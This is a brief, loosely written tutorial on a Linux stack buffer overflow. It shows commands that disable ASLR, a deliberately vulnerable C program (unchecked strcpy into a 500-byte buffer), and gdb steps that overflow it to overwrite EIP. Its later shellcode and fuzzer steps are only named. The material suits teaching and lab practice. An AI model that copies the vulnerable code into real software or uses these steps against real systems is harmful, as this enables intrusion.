LINUX EXPLOIT : STACK OVERFLOW

Ok this time we will discuss about the exploitation linuk try it first before we turn off ASLR.  
ASLR is a computer security methods that can make the position of key data areas randomly positioned.

Next step type command as below :

 #cat /proc/sys/kernel/randomize_va_space

          #echo 0 > /proc/sys/kernel/randomize_va_space

#cat /proc/sys/kernel/randomize_va_space

Vulnerable aplication


#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[500];
strcpy(buffer, argv[1]); // Vulnerable function
return 0;
}

Next type #gcc -ggdb -o vulnerable_1 Vulnerable_1.c
          #gdb vulnerable_1

#run $(python -c 'print "\x41" * 600')

#Send buffer to Overwrite EIP

Info Register EIP

#List  (Search Address ESP)

#./sc_generator

Copy to fuzzer and run